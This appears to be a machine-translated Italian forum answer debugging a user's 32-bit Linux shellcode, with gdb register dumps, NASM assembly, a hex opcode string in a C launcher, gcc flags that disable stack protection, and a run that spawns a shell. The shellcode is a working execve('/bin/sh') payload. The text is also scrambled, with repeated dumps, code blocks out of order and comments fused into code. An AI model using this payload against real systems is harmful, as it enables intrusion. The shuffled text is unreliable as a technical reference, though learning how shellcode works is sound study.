Vedo più problemi con il tuo shellcode. Prima di tutto eseguiamo il debug del tuo codice. Ho compilato il codice C contenente il tuo shellcode, eseguilo con gdb e passo fino alla prima chiamata di sistema ( int 0x80
)
[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655701a <shellcode+2>: pop ebx
0x5655701b <shellcode+3>: xor ecx,ecx
0x5655701d <shellcode+5>: xor edx,edx
=> 0x5655701f <shellcode+7>: int 0x80
0x56557021 <shellcode+9>: mov al,0x1
0x56557023 <shellcode+11>: xor bl,bl
0x56557025 <shellcode+13>: int 0x80
0x56557027 <shellcode+15>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV0pUV$617$617")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Qui possiamo vedere alcuni problemi:
- Il registro
EAX
non è impostato su 0xb. Questo perché lo shellcode non cancella i valori nel registro e invece imposta semplicemente il byte inferiore con l'istruzione mov al, 0xb
- Il registro
EBX
deve puntare a char*
con il file che stai tentando di eseguire (di solito è "/bin/sh"
), invece punta a una posizione di memoria casuale, in questo caso in main
la funzione.
- Il registro
ECX
deve puntare alla matrice di char*
che indica il comando completo che si desidera eseguire. Nella maggior parte dei shellcode ho visto che è solo ["/bin/sh", 0]
, ma potresti voler usare qualcosa di diverso come ["/path/to/binary","-argument1",..., 0]
, in questo caso dovresti creare quell'array in memoria. Nel tuo codice shell ECX
è impostato su 0x0
- Il registro
EDX
rappresenta l'ambiente per l'esecuzione del file binario. Puoi dare un'occhiata alla pagina execve (3) manual per capire un po 'di più come è usata, ma per il nostro scopo qui è ok avere un valore NULL
in esso
Ora, come possiamo aggiustarlo? Bene, prima di tutto dovremo puntare EBX
su una stringa "/ bin / sh \ 0" in una porzione di memoria a cui possiamo accedere, per esempio. lo stack. E dobbiamo farlo nel nostro codice shell. Possiamo farlo con il seguente gadget:
xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/shxor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/shsection .text
global _start
_start:
jmp trampoline
shellcode:
xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al,11
int 0x80
section .data
trampoline:
call shellcode
"
", so we need to move that pointer to ebx
Quindi dobbiamo puntare ECX
su un array di char*
come ["/bin/sh", 0]
. Ne abbiamo già una parte in EBX
, quindi continuando il nostro shellcode possiamo fare quanto segue:
char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
(*(void(*)())shellcode)();
return 0;
}
Infine, dovremmo impostare il registro AL
su 0xb
e creare il syscall. Quindi il nostro shellcode finale dovrebbe assomigliare a questo:
$ ./shellcode.o
sh-4.4$
Possiamo compilarlo nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm
, estrarre gli opcode e inserirli nel codice C per testarlo:
[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5655701a <shellcode+2>: pop ebx
0x5655701b <shellcode+3>: xor ecx,ecx
0x5655701d <shellcode+5>: xor edx,edx
=> 0x5655701f <shellcode+7>: int 0x80
0x56557021 <shellcode+9>: mov al,0x1
0x56557023 <shellcode+11>: xor bl,bl
0x56557025 <shellcode+13>: int 0x80
0x56557027 <shellcode+15>: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV0pUV$617$617")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>: add esp,0x10)
[------------------------------------------------------------------------------]
Compilalo con il tuo compilatore preferito, io uso gcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c
. Ed eseguilo:
xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/shxor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/shsection .text
global _start
_start:
jmp trampoline
shellcode:
xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al,11
int 0x80
section .data
trampoline:
call shellcode
"
", so we need to move that pointer to ebx